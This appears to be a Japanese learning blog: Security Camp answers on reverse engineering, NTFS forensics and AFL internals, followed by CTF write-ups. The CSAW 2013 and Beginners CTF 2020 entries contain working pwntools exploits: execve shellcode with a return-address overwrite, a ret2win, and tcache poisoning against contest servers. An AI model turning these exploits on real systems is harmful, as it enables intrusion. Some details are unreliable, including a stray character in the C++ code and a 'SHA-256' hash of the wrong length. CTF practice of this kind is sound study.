 デコード本体の関数は、IDAで表示してみると単純なループの形になっているとわかった。アセンブリを読むと同時に、ブレークポイントをうって、変数の値を確認しながら実行したりした。特に、デコード後のデータが格納されるであろう処理から遡ってデータを追うことで、それ以前の処理の予想を立てる方法が効率的だった。

<解析レポート>

1. デコード処理周辺

 デコード本体の関数にDecodeFuncという名前をつけた。以下はDecodeFuncの呼び出し前後の逆アセンブル結果である。(IDAで表示した。)

00007FF6959A11CA                 call    cs:VirtualAlloc
00007FF6959A11D0                 mov     [rsp+78h+dataAddr], rax
00007FF6959A11D5                 mov     eax, dword ptr [rsp+78h+ResSize]
00007FF6959A11D9                 mov     rdi, [rsp+78h+dataAddr] ; rdi=valloc()
00007FF6959A11DE                 mov     rsi, [rsp+78h+ResAddr]
00007FF6959A11E3                 mov     ecx, eax
00007FF6959A11E5                 rep movsb
00007FF6959A11E7                 mov     [rsp+78h+hex0B], 0Bh
00007FF6959A11EF                 lea     r9, aSeccamp2021
00007FF6959A11F6                 mov     r8, cs:_89192712h
00007FF6959A11FD                 mov     edx, dword ptr [rsp+78h+ResSize]
00007FF6959A1201                 mov     rcx, [rsp+78h+dataAddr]
00007FF6959A1206                 call    DecodeFunc
00007FF6959A120B                 xor     r9d, r9d        ; uType
00007FF6959A120E                 lea     r8, TitleStr    ; "Decode!!"
00007FF6959A1215                 mov     rdx, [rsp+78h+dataAddr] ; lpText
00007FF6959A121A                 xor     ecx, ecx        ; hWnd
00007FF6959A121C                 call    cs:MessageBoxA

 MessageBoxAでデコード後のテキストが表示される。そのため、MessageBoxAの引数を見れば、デコード後のデータはdataAddrというアドレスにあることがわかる。raxは戻り値を保持するレジスタなのでdataAddrはvirtualAllocで確保されたメモリ領域であることもわかる。

2.エンコード処理

 エンコード本体は0x00007FF6959A1000から始まる。(1)~(10)に分けてアセンブリを読んだ

(1)00007FF6959A1000~00007FF6959A101E
引数をローカル変数に格納する処理が行われる。ローカル変数は以下のようにセットされる。
campAddr = テキストデータ”SECCAMP2021”のアドレス
key = 鍵となる数値。初めは、0x89192712がセットされる
resSize = エンコードされたデータのサイズ(ビット数)
dataAddr = エンコードされたデータのアドレス
cnt = 0 ループのためのカウンタ変数

(2)00007FF6959A1020~00007FF6959A1025
cntをインクリメントする。

(3)00007FF6959A1028~00007FF6959A102F
ループの継続条件を判断するものである。cntとresSizeを比較しており、以下のコードに相当する
for(; cnt < resSize; ++i){
//process
}

(4)00007FF6959A1035~00007FF6959A104B
keyに数学的操作を施す処理である。keyを5倍して0x2365f703を足す。

(5)00007FF6959A1050~00007FF6959A109E
jle命令とjge命令があるが、これらは以下の条件分岐に対応する。

eax = [cnt + dataAddr] -1;
if(0xa0 < eax && eax < 0xff){
…...
}
この処理がアルゴリズムにおいてどのような意味をなすのかはわからなかった。

(6)00007FF6959A10A1~00007FF6959A10BD
エンコードされたデータから1ビットだけとりだす操作である。デコードスクリプトを書いたときは、このエンコードする前のデータから’This_is_decoded_text’を生成することを目指した。

(7)00007FF6959A10C0~00007FF6959A10BD
keyに数学的操作を施す処理である。2ビットだけ右に算術シフトして0x1ca9を減じる。

(8)00007FF6959A10EF~00007FF6959A1123
処理が煩雑だったため読み飛ばしたが、結局、’S’2→’E’2→’C’*2→...の順でビットを得ていることが確認できた。

(9)00007FF6959A1125~00007FF6959A1143
xorなどの演算を行い、addrDataにエンコード後のデータを格納する。

(10)00007FF6959A1148~00007FF6959A114C
ループから抜ける処理である。

3.デコードアルゴリズム/デコードスクリプトエンコードアルゴリズム


3-1.デコードアルゴリズム
デコードアルゴリズムは以下のとおりである。
エンコードされたデータを変数S、文字列”SECCAMP2021”を変数Tで表す。
1.鍵keyとなる数値0x89192712を用意し、これを変数keyとする。
2.Sのi番目のビットに対して、2~6を繰り返す。(i=0からi=len(S)まで)
3.keyに数学的操作を施す。(5倍して0x2365f703を足す)
4.S[i] = S[i] xor key
5.keyに数学的操作を施す。(2ビットだけ右に算術シフトして0x1ca9を減じる)
6.S[i] = S[i] xor (T[i%11] + key)
7.S[i]はデコードされたデータである。

3-2.デコードスクリプト

#include<iostream>
#include<cstdio>
#include<string>
#include<stdint.h>
using namespace std;

uint64_t sar2(uint64_t v){
    uint64_t ret = v >> 2;
    ret += (v & 3) << 62;
    return ret;
}

string decode(string s){
    string t = "SECCAMP2021";
    uint8_t lent = t.length();
    uint8_t lens = s.length();
    uint8_t sarr[100], tarr[100];

    uint64_t key = 0x89192712;

    for(int i = 0; i < lens; ++i){
        sarr[i] = s[i];
        tarr[i] = t[i];
        //3
        key = key * 5 + 0x2365f703;

        if(0xa0 < sarr[i] && sarr[i] < 0xff) sarr[i]--;

        //4
        sarr[i] = sarr[i] ^ (key & 0xff);

        //5
        key = sar2(key) - 0x1ca9;c

        //6
        uint64_t tmp = (key + tarr[i%lent] * 2);
        sarr[i] = sarr[i] ^ (tmp & 0xff);
    }
    for(int i = 0; i < lens; ++i){s[i] = sarr[i];}

    return s;
}

int main(){
    string s = "\x8d\x93\x13\x8a\x43\xb6\x59\x4d\x41\x80\x1b\x53\x02\x86\xf2\xed\x55\x55\x78\x59\x8b\x77\x35\x17\x56";
    
    cout << "s         = " << s << endl;
    cout << "decode   -> " << decode(s) << endl;
    cout << "decode*2 -> " << decode(decode(s)) << endl;

    return 0;
}


3-3.デコードスクリプトの実行結果

$ ./a.out
s         = ???C?YMA????UUxY?w5V
decode   -> D1d_y0u_$01v3_C0s70m_X0r?
decode*2 -> ???C?YMA????UUxY?w5V
$


3-4.エンコードアルゴリズム
 このデコードアルゴリズムはビット列に対してはXORのみを行うだけであるから、エンコードアルゴリズムとデコードアルゴリズムは同一である。実は最初、デコード終了時のkeyの値を知らなければ、エンコードするためにデコードの逆操作ができないと思いましたが、XOR暗号と同様にエンコードとデコードが同じ操作であるとわかりました。
 次に、このアルゴリズムの考察をする。このアルゴリズムとは別に、単純にkeyを長くしてデータと一度だけ、xorをとるアルゴリズムを考えてみる。その場合、xorをしても変わらなかったビットが複数生じることになり、もし、平文が英語や日本語のような意味のある文であるならば、暗号化後データから平文を直接読み取ることができてしまう。そのため、暗号化を1bitずつ行い、同時にkeyに数学的操作を施すことで、暗号化後データの乱雑さが増すと考えた。

問7

配布ファイル内の7_sc_spreadsheets.001は、NTFSボリュームのddイメージファイルです。イメージファイル内には複数のExcel形式のファイルが存在します。以下の問題について、必要であれば解析結果から得られる見解も含めて回答してください。

問7-1

これらはあるファイルが起点となり、変更が加えられたファイルです。起点となったファイルの入手元を回答してください。
<回答>
https://www.kazamiya.net/files/ccba209a4d0c139e1437781932409ccf/Book10.xls

問7-2

復元可能なファイルを含めて、全てのExcelファイルのSHA-256ハッシュ値を回答してください。
<回答>
Book10.xls:
15702c89d64e3f7da51d2bd7376b05bf5ecc8e477a2d14221fde6da67c714140
Book10p.xls:
a10eb7e47e08389660781622bd7a7dd5571644ca
Book10m.xls:
12094ea2678d9750e482cd9b3bd2fa924647c4101f7b280a3f9ac0e9a38d7b47

問7-3

これらのファイルはどのような順番で、どのような変更が加えられたかを、できるだけ具体的に示してください。
<回答>
3/27 1:02 Book10.xlsがダウンロードされる
3/27 1:04 Book10.xlsを複製してBook10m.xlsを作成
3/27 1:06 Book10m.xlsを削除
3/27 1:07 Book10.xlsを複製してBook10p.xlsを作成

<解答にあたり勉強したこと>
 フォレンジックスの知識は全く持ち合わせていなかったので、とりあえず、NTFSファイルシステムのフォーマットについて勉強した。以下のサイトを参考にした。
https://www.cse.scu.edu/~tschwarz/coen252_07Fall/Lectures/NTFS.html
 NTFSファイルフォーマットはファイルの集合体である。例えば、内部のファイルとして以下が挙げられる。
$MFT(Master File Table): 保存されたファイルの管理
$LogFile: ログファイル
$Bitmap: どのデータ領域(クラスター)が使用されているか
 NTFSのデータ領域は1KBごとのデータ領域(クラスター)に分割されていて、$MFTにて、ファイル名、開始クラスター、クラスターの長さ(すなわち、個々のファイルがどのクラスターを占有するか)を定義する。また、NTFSではタイムスタンプ機能もあり、Created,Accessed,Modified,MFT Entry Modifiedを管理する。ファイルの削除はおそらく、$MFTや$bitmapを書き換えるだけで行われるため、生のデータがクラスターに残るものと思われる。MSOfficeには自動保存機能があり、そのために、ファイルの完全削除がされにくいと書かれた文献もあった。

<回答までの道のり>
NTFS、ddイメージなどの用語がわからなかったので、検索したところ、これらはwindows用のファイルシステムのフォーマットだとわかった。
The Sleuth Kitというforensicsのコマンドツールを見つけたので、以下のサイトで一通り学習した。
https://qiita.com/iria_piyo/items/8863452c4320f47e7cb3
また、以下の3つのコマンドが有用だった。
fls: イメージ上のファイル名の一覧を取得する
istat: ファイルのタイムスタンプなどを確認する
icat: 指定したファイルの内容を出力する、復元もできる
次に、flsコマンドでイメージ上のファイル一覧を見て、エントリ番号を取得したところ、削除済みファイルであるBook10m.xlsが表示され、istatコマンドで各ファイルのタイムスタンプを見ることができた。そしてicatコマンドで削除済みファイルのデータを、適当なファイルにパイプすると、Excelで開くことができた。
また、同時にZone.Identifierというファイルを見つかったので、調べてみたところ、ダウンロード元が書かれているとわかった。この情報は以下のサイトを参考にした。
https://ascii.jp/elem/000/001/550/1550399/
タイムスタンプを確認すると、Book10のCreated,Modifiedは0.1秒ほど違うがほとんど一致することがわかった。また、Book10pも同様であった。Book10mはCreatedの2分後にModifiedされていることがわかり、これらを総合すると、Book10をダウンロードした後に、複製してBook10m、Book10pを順に作ったのだと推測できた。

問8

ファジングは大量の入力を生成してプログラムを実行、結果を観測しプログラムがクラッシュしたり正常終了しなくなるような入力を発見する手法です。
しかしプログラムが異常な動作をする度に全ての入力を保存しているとキリがありません。例えば「開き括弧"("に対応する閉じ括弧")"が無い場合にクラッシュする」ようなバグの場合、 ファザーは"(", "((", "(()".... 等の膨大な数の入力をクラッシュ入力として保存してしまいます。発見された入力が数万個もあるのに蓋を開ければ全て同じ単一のバグを引いていたようでは解析も徒労に終わってしまいます。

そこでAmerican Fuzzy Lop (AFL)というファザーは独自のアルゴリズムを用いて、同一のバグに対するクラッシュ入力は1つしか保存しないようにしています。

https://github.com/google/AFL/blob/fab1ca5ed7e3552833a18fc2116d33a9241699bc/afl-fuzz.c#L3302

AFLのソースコードを読解し、当該アルゴリズムの概要を「afl-gcc」「エッジカバレッジ」「ビットマップ」という用語を用いて説明してください。

[解答]
 回答にあたって、わかりやすいように解答を1~6セクションに分割した。当該アルゴリズムを理解する前に、AFLのプログラムの全体像を知る必要がある。よって、AFLの大局的な処理の流れとその実装方法を説明したのち、当該アルゴリズムの概要について解答することにした。第1~5セクションはAFLのソースコードと文献などから得られた情報であり、第6セクションは設問に対する回答である。
 英語の情報が多く、ファジングの知識0からのスタートであったので、用語の使い方や自分の理解に自信がないですが、理解できた範囲のことを表現しました。

1.AFLの流れ

 まず、AFLの大局的な流れを確認する。
①対象プログラムをコンパイルし、アセンブリを生成する。
②コード網羅率を測定するためのコードをアセンブリレベルで埋め込む。
③キューからテストケースを取り出し、対象プログラムを実行して入力する。
④新たな実行経路に到達すれば、入力をキューに加える。
⑤③に戻る。

2. プログラムについて

 afl-gccgcc/clangのラッパーである。内部ではパラメータを指定してgcc/clangコマンドを実行している。また以下で説明する計測コードの埋め込みはafl-as.cのadd_instruction()関数で行われ、ファジング本体はafl-fuzz.cのfuzz_one()関数で行われる。

3. コードカバレッジの計測

3-1. 計測コードとは
計測コード(the instrumentation)はブランチごとにアセンブリレベルで埋め込まれるコードで、コードカバレッジの計測に用いられる。ここで、コードカバレッジとはファジングによって検証されたソースコードの網羅率の指標である。

3-2. 計測コードの設置
afl-asでは生成されたアセンブリに計測コードを挿入する。計測コードの挿入は主に関数のエントリーポイントやgccの分岐ラベル、条件分岐に対して行われるが、無条件分岐やnon-brachラベルに対しては行われない。すなわち、関数コール時や、if-elseによる条件分岐時に計測コードが実行されるということである。

3-3. エッジカバレッジ
 コードカバレッジの計測は到達したコードブロックだけではなく、コードブロック間の遷移を記録することで行われる。計測コードの実体はafl-as.hのtrampoline_fmt32などで定義されている。以下、ブロックAからブロックBへの遷移が行われることを、タプル(A,B)で表すことにすると、(A,B)のヒット数が配列に記録される。そのため、一例として、
A→B→C→D→E
A→B→C→B→A→B→C→D→E
上の二つの制御フローは区別されることになる。実装ではrun_target()関数によって対象プログラムが実行されるのだが、その際に(A,B)に対応する配列trace_bitsの成分に(A,B)のヒット数が格納される。ちなみに、このtrace_bitsは共有メモリであり、setup_shm()によって作成される。また、単純化と高速化のために、simplify_trace()によって、配列trace_bitsは大雑把な値で分けられる。この単純化には、count_class_lookup8テーブルが参照される。そして、実行後、粒度が荒くなったtrace_bitsはそのテストケースの実行経路を表すことになる。粒度を荒くする理由は、実行経路のわずかな違いを無視するためである。
 それぞれのブロック間の遷移が実行されたかによって評価されるコードカバレッジをエッジカバレッジといい、これにより、バグの特徴となりやすい異常な制御フローに注目することができる。もちろん、単純なブロックカバレッジでは制御フローを追うことはできない。

4. ビットマップ

 ここではAFLのファジングに利用されるビットマップについて解説する。

4-1.ビットマップの種類
virgin_bits :
 未到達のコード域を記録するビットマップである。
virgin_tmout :
 タイムアウトしたことがないかを記録するビットマップである。
virgin_crash :
 クラッシュしたことがないかを記録するビットマップである。

4-2.ビットマップの利用
 これら3つのビットマップは3-3のtrace_bitsと同じく、タプル(A,B)によってランダムアクセスされる。save_if_interesting()関数では、3-1で示したビットマップで新たなビットが立った場合、テストケースがキューに保持され、そうでない場合はテストケースは破棄される。

5. fuzz_one()関数の流れ

 最後に、ファジング本体の処理を確認する。
①Calibration:
 内部で関数run_target()を呼び出し、主にプログラムの実行とコードカバレッジの測定を行う。
②テストケースのトリミング :
 高速化とバグを引き起こす入力の特徴抽出のためにテストケースを最小化する。
③テストケースの評価 :
 (実行時間)*(入力サイズ)によって、テストケースを評価する。以降、好ましいテストケースはキューから取り出されやすくなる。これは、たくさんのテストケースを用いるよりもテストケースを絞った方が効率がいいからである。
④テストケースの変異:
simple bitflip, arithmetic inc/dec, interesting values, dictionary stuff, random havoc, splicingなどの手法で行われる。

6. 設問に対する解答

 以上をふまえて、AFLにおける、同一バグに対するクラッシュ入力を1つにするアルゴリズムを簡潔に説明する。対象プログラムはgccのラッパーであるafl-gccによってコンパイルされ、afl-asでコードブロックごとにエッジカバレッジ計測用のコードが埋め込まれる。初期テストケースはキューに保存され、ファジング本体であるfuzz_one()においてキューから一つ取り出される。対象プログラム実行時に、3-3で示したようにタプル(A,B)に対応するtrace_bitsのビットが立つ。未走査パスやクラッシュしたパスを記録したビットマップとtrace_bitsを比較することで、新たな実行経路においてクラッシュが発生したかどうかがわかる。そのような場合にのみ、テストケースをキューに追加する。以上のアルゴリズムによって、よりエッジカバレッジの高いテストケースのみが生成されることになる。すなわち、同一のバグに対するクラッシュ入力は重複しない。

おしまい

CSAW CTF 2013 exploit200 [writeup]

問題バイナリ shell-storm.org

まずバイナリを実行してみると、何も表示されず動作が全くわからなかった。 いわゆるfork-server型の問題、初めてだったので他の方のサイトを参考にして進めた。

$ strace ./exploit2

を実行してシステムコールを追うことができる。

starce結果

(中略)
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
bind(3, {sa_family=AF_INET, sin_port=htons(31338), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 100)                          = 0
rt_sigaction(SIGCHLD, {sa_handler=0x80487e4, sa_mask=[], sa_flags=SA_RESTART}, NULL, 8) = 0
accept(3, 

bind,listen,acceptしている。
バイナリはacceptで外部クライアントからの接続待ちをし、接続されるとfork()を呼び出すことでクライアントの処理を別プロセスに渡す。
こうすることで親プロセスとあるクライアントが接続している間に別のクライアントが接続できない事態を避けている。(多分)
ちなみにsin_port=htons(31338)からポート番号が31338だとわかる。

次にexploit2を実行した状態で別のターミナルから接続を行う。

pc@surface-pro-3:~$ nc localhost 31338
�:��D��Welcome to CSAW CTF.  Exploitation 2 will be a little harder this year.  Insert your exploit here:

よくわからない文字列が表示された後、入力を受け付ける。 ちなみにこの文字列はhexdumpで確認すると8byteある。

続いてこのバイト列の正体を知りたいので、IDAを使って見ていく。 IDAでhandleという関数に以下のアセンブリを発見できる。

アセンブリ

.text:0804880D ; Attributes: bp-based frame
.text:0804880D
.text:0804880D ; void __cdecl handle(int newsock)
.text:0804880D                 public handle
.text:0804880D handle          proc near               ; CODE XREF: main+2A9↓p
.text:0804880D
.text:0804880D buffer          = byte ptr -80Ch
.text:0804880D cookie          = dword ptr -0Ch
.text:0804880D newsock         = dword ptr  8
.text:0804880D
.text:0804880D                 push    ebp
.text:0804880E                 mov     ebp, esp
.text:08048810                 push    edi
.text:08048811                 push    ebx
.text:08048812                 sub     esp, 820h
.text:08048818                 mov     [ebp+cookie], 0
.text:0804881F                 lea     eax, [ebp+buffer]
.text:08048825                 mov     ebx, eax
.text:08048827                 mov     eax, 0
.text:0804882C                 mov     edx, 200h
.text:08048831                 mov     edi, ebx
.text:08048833                 mov     ecx, edx
.text:08048835                 rep stosd
.text:08048837                 mov     dword ptr [esp], 0
.text:0804883E                 call    _time
.text:08048843                 mov     [esp], eax
.text:08048846                 call    _srand
.text:0804884B                 call    _rand
.text:08048850                 mov     ds:secret, eax
.text:08048855                 mov     eax, ds:secret
.text:0804885A                 mov     [ebp+cookie], eax
.text:0804885D                 lea     eax, [ebp+buffer]
.text:08048863                 lea     edx, [ebp+buffer]
.text:08048869                 mov     [eax], edx
.text:0804886B                 mov     dword ptr [esp+0Ch], 0
.text:08048873                 mov     dword ptr [esp+8], 4
.text:0804887B                 lea     eax, [ebp+buffer]
.text:08048881                 mov     [esp+4], eax
.text:08048885                 mov     eax, [ebp+newsock]
.text:08048888                 mov     [esp], eax
.text:0804888B                 call    _send
.text:08048890                 mov     dword ptr [esp+0Ch], 0
.text:08048898                 mov     dword ptr [esp+8], 4
.text:080488A0                 lea     eax, [ebp+cookie]
.text:080488A3                 mov     [esp+4], eax
.text:080488A7                 mov     eax, [ebp+newsock]
.text:080488AA                 mov     [esp], eax
.text:080488AD                 call    _send
.text:080488B2                 mov     dword ptr [esp+0Ch], 0
.text:080488BA                 mov     dword ptr [esp+8], 63h
.text:080488C2                 mov     dword ptr [esp+4], offset aWelcomeToCsawC ; "Welcome to CSAW CTF.  Exploitation 2 wi"...
.text:080488CA                 mov     eax, [ebp+newsock]
.text:080488CD                 mov     [esp], eax
.text:080488D0                 call    _send
.text:080488D5                 mov     dword ptr [esp+0Ch], 0
.text:080488DD                 mov     dword ptr [esp+8], 1000h
.text:080488E5                 lea     eax, [ebp+buffer]
.text:080488EB                 mov     [esp+4], eax
.text:080488EF                 mov     eax, [ebp+newsock]
.text:080488F2                 mov     [esp], eax
.text:080488F5                 call    _recv
.text:080488FA                 mov     [ebp+buffer+7FFh], 0
.text:080488FE                 mov     edx, [ebp+cookie]
.text:08048901                 mov     eax, ds:secret
.text:08048906                 cmp     edx, eax
.text:08048908                 jz      short loc_8048921

これがおそらく子プロセスの処理だろう。
"Welcome to CSAW CTF. Exploitation 2 wi".の部分から察するに、call sendによって[esp+4]をクライアントに送信している。
全体でsendが3つあるので、最初の二つ(bufferの先頭アドレスとsecretの値)が「よくわからんバイト列」に当たる。

頑張って読んでみると、cookieにsecret(rand)の値が入り、(recvで受け取った)入力値はbufferに入ることがわかる。

最後のcmpでsecretとcookieの値を照合している。
つまり、自前でstack canaryを実装していることになる。

以上を踏まえると、canaryの値を変更しないようにリターンアドレスをシェルコードに向けて書き換えればよい。

エクスプロイトコード

from pwn import *
context(os='linux', arch='i386')

p = remote('localhost',31338)

shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

buf_addr=(p.recv(4))
secret=(p.recv(4))

payload=''
payload+=shellcode
payload+='A'*(0x800-len(shellcode))
payload+=secret
payload+='A'*12
payload+=buf_addr
p.sendline(payload)

p.interactive()

実行結果
exploit2を実行しているターミナルでbashが起動する。

pc@surface-pro-3:~/pwn/csaw2013$ ./exploit2
Got a connection from 127.0.0.1 on port 33280
$ ls
e2.py     exploit2.id0  exploit2.id2  exploit2.til  miteegashun
exploit2  exploit2.id1  exploit2.nam  fil_chal
$ 

Beginners CTF 2020 [writeup]

以下の解けた問題のみwriteupを載せます。

  • [pwn] Beginner's Stack
  • [pwn] Beginner's Heap
  • [crypto] R&B
  • [misc] emoemoencode

Beginner's Stack

プログラム実行前後のスタックの状態がダンプされるようになっている。 リターンアドレスとbufferのオフセットを考えれば

payload=''
payload+='A'*8*5
payload+=p64(0x00400861)

のようなペイロードを送ればよいとわかる。 しかし、実行してみると、

Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!

と怒られてしまう。 win呼び出し時にスタックポインターの値が0x10の倍数でないといけないらしい。ここで第一に書き換えるべきリターンアドレスの配置場所は0x00007ffde2cb48f8であるからこれをどうにか8byteずらせばよい。 retがあれば、 win呼び出し時のespが8byteだけずらすことが出来る。 gdb-pedaのropgadgetコマンドを用いてretを探す。

gdb-peda$ ropgadget
ret = 0x400626
popret = 0x400728
addesp_8 = 0x400623

したがってエクスプロイトコードは以下

from pwn import *
context(os='linux', arch='i386')

p = remote('bs.quals.beginners.seccon.jp',9001)

payload=''
payload+='A'*8*5
payload+=p64(0x00400626)
payload+=p64(0x00400861)

p.sendline(payload)
p.interactive()

Beginner's Heap

heapの動作原理の理解が深まる問題だった。 作問者様のwriteupがわかりやすかったのでそちらを参考にされたい。 以下エクスプロイトコードと重要事項のみ書いておきます。

  • chunk headerの構造をおさえる
  • tcacheはUSEなchunkのfree時にサイズごとに単方向リストに連結する仕組み
  • fdはFREEなchunkのwilderness(data本体)を指し示す
  • malloc時にmallocされるchunkのfdがリストすなわちtcacheに連結される
  • 今回はheaderのsizeを偽装することでfree時に別のサイズ用のtcacheに連結させられる
from pwn import *
import time

context(os='linux', arch='i386')

p = remote('bh.quals.beginners.seccon.jp',9002)

def write(s):
    p.sendline("1")
    time.sleep(0.1)
    p.sendline(str(s))
    time.sleep(0.1)

def malloc(s):
    p.sendline("2")
    time.sleep(0.1)
    p.sendline(str(s))
    time.sleep(0.1)

def free():
    p.sendline("3")
    time.sleep(0.1)

p.recvuntil("hook>: ")
free_hook=int(p.recv(14),16)

p.recvuntil("win>: ")
win=int(p.recv(14),16)

malloc("A")
free()

payload=p64(0)*3
payload+=p64(0x31)
payload+=p64(free_hook)
write(payload)

malloc("A")

free()

malloc(p64(win))

free()

p.interactive()

R&B

フラグは以下の手順にそってエンコードされる

したがってencoded_flagの先頭がBなので先頭のBを取り除いた文字列をbase64でデコード
→さらに得られた文字列の先頭がBならばさらにbase64でデコード...
という風にすればよい。

import base64
import codecs

nexts='BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ=='

while True:
    top=nexts[0]
    encoded_string=nexts[1:]

    if top=='B' :
        nexts=base64.b64decode(encoded_string.encode('utf-8'))
    elif top=='R' :
        nexts=codecs.decode(encoded_string,'rot13')
    else :
        break

print(nexts)

emoemoencode

問題文↓(❓)

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

ググってもそんなエンコード方式存在しなかった...。
まず文字コードを何らかの方法で変換していると予測。 一文字目から順にUnicodeを確認する。

“🍣” (U+1F363)
“🍴” (U+1F374) 
...

これに対し、変換元の文字列はctf4b{~}の形式だろうから

"c" (U+0063)
"t" (U+0074)
...

これより下二桁のみに注目すれば良いとわかる。

pythonで以下のようなスクリプトを実行すれば良い。

s='🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽'
a=""

for t in s:
   a+=chr(ord(t)%128)

print(a)